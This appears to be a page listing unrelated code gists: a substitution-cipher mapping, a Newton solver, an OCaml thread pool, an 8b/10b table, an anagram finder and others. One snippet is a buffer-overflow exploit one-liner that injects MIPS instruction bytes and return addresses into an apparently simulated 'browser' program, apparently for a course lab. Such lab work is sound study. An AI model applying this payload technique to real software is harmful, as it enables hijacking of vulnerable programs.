This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| mapping = {' ': ' ', 'B': 'H', 'D': 'S', 'F': 'C', 'H': 'X', 'J': 'U', 'L': 'G', 'N': 'B', | |
| 'P': 'R', 'R': 'T', 'T': 'W', 'V': 'P', 'X': 'M', 'Z': 'Q', 'b': 'h', 'd': 's', | |
| 'f': 'c', 'h': 'x', 'j': 'u', 'l': 'g', 'n': 'b', 'p': 'r', 'r': 't', 't': 'w', | |
| 'v': 'p', 'x': 'm', 'z': 'q', 'A': 'Y', 'C': 'E', 'E': 'O', 'G': 'V', 'I': 'D', | |
| 'K': 'I', 'M': 'L', 'O': 'K', 'Q': 'Z', 'S': 'N', 'U': 'J', 'W': 'F', 'Y': 'A', | |
| 'a': 'y', 'c': 'e', 'e': 'o', 'g': 'v', 'i': 'd', 'k': 'i', 'm': 'l', 'o': 'k', | |
| 'q': 'z', 's': 'n', 'u': 'j', 'w': 'f', 'y': 'a'} | |
| input = '''3 | |
| ejp mysljylc kd kxveddknmc re jsicpdrysi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function [ theta ] = theta( lambda, eta, theta0 ) | |
| %Take an approximation theta0 | |
| theta = theta0; | |
| for i=1:10 | |
| J = jacobian(lambda, eta, theta); | |
| y = f(lambda, eta, theta); | |
| theta = theta - (J \ y) ; | |
| end | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| python -c "print 'www.google.com\0' + 'LOL 0wn3d\x21 \0' + ' is on Facebook\x21\0' + '\x40\x00\x02\x3c' + '\x10\x03\x42\x24' + '\x09\xf8\x40\x00' + '\0\0\0\0' + '\x28\x8b\xd5\x7e' + '\0\0\0\0'*100 + '\x40\x00\x04\x3c' + '\x21\x06\x84\x24' + '\x40\x00\x02\x3c' + '\xd8\x00\x42\x24' + '\x09\xf8\x40\x00' + '\0\0\0\0' + '\xcf\xff\xa4\x27' + '\x40\x00\x02\x3c' + '\xd8\x00\x42\x24' + '\x09\xf8\x40\x00' + '\0\0\0\0' + '\x44\x00\x02\x3c\x90\x06\x42\x8c\0\0\0\0\x21\x20\x40\0' + '\x40\x00\x02\x3c' + '\xd8\x00\x42\x24' + '\x09\xf8\x40\x00' + '\0\0\0\0' + '\xdb\xff\xa4\x27' + '\x40\x00\x02\x3c' + '\xd8\x00\x42\x24' + '\x09\xf8\x40\x00' + '\0\0\0\0' + '\x40\x00\x04\x3c' + '\x21\x06\x84\x24' + '\x40\x00\x02\x3c' + '\xd8\x00\x42\x24' + '\x09\xf8\x40\x00' + '\0\0\0\0' + '\0\0\0\0' + '\x39\x05\x04\x24' + '\x40\x00\x02\x3c' + '\x10\x03\x42\x24' + '\x09\xf8\x40\x00' + '\0\0\0\0'" | simulate browser |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| browser: file format elf32-tradlittlemips | |
| browser | |
| architecture: mips:3000, flags 0x00000112: | |
| EXEC_P, HAS_SYMS, D_PAGED | |
| start address 0x00400350 | |
| Program Header: | |
| 0x70000000 off 0x00000094 vaddr 0x00400094 paddr 0x00400094 align 2**2 | |
| filesz 0x00000018 memsz 0x00000018 flags r-- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (* Implementation as a 4-tuple of: thread count, mutable queue of | |
| * functions waiting to be run, mutex protecting thread count and | |
| * queue, and condition variable signaling work to be done. *) | |
| type pool = (int ref * (unit -> unit) Queue.t * Mutex.t * Condition.t) | |
| exception No_workers | |
| (* Loop run by each worker thread, consumes work from the queue | |
| * following producer/consumer pattern with a condition variable, | |
| * described previously. *) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| >>> def check(n): | |
| ... return (9*n**3+36*n**2+47*n+20)/2 | |
| ... | |
| >>> def app(b,n): | |
| ... return n - (9*n**3+36*n**2+47*n+20-2*b)/(27*n**2 + 72*n + 47) | |
| ... | |
| >>> def base(x): | |
| ... if x%3 == 0: | |
| ... # x = 3n+3 -> n = x/3 - 1 | |
| ... n = x/3 - 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| OPT[k,i,h] = max(h + OPT[k-1,i,h], max{h + OPT[k-1,i-1,h']}) | |
| OPT[k,i,0] = OPT[k,0,h] = OPT[0,i,h] = OPT[k,i,h] where xk < h = 0 | |
| """ | |
| X = [2,4,3,3,2,5,2] | |
| K = 2 | |
| OPT = [[[None for k in X+['']] for i in range(K+1)] for k in X+['']] | |
| for k,O2 in enumerate(OPT): | |
| for i,O3 in enumerate(O2): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| __author__ = 'Lee' | |
| import urllib | |
| import json | |
| import time | |
| import re | |
| seen = {} | |
| info_dict = {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ABCDE FGH abcdei_fghj - abcdei_fghj + RD-out | |
| 11100 0 001111_0100 0 110000_1011 1 same | |
| 11100 1 001111_1001 1 110000_0110 0 flip | |
| 11100 10 001111_0101 1 110000_1010 0 flip | |
| 11100 11 001111_0011 1 110000_1100 0 flip | |
| 11100 100 001111_0010 0 110000_1101 1 same | |
| 11100 101 001111_1010 1 110000_0101 0 flip | |
| 11100 110 001111_0110 1 110000_1001 0 flip | |
| 11100 111 001111_1000 0 110000_0111 1 same | |
| 10111 111 111010_1000 0 000101_0111 1 same |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Assume the average length m of each word << the length of the list of words, which we call n | |
| # The following will run in O(n*mlgm) Now assuming that we're using words from | |
| # the english language, then the mlgm factor goes to around 6*C | |
| # so the overall runtime should scale linearly with the size of the input length | |
| def anagrams(file): | |
| dict = {} | |
| count = set() | |
| for line in open(file): | |
| sline = "".join(sorted(line)) |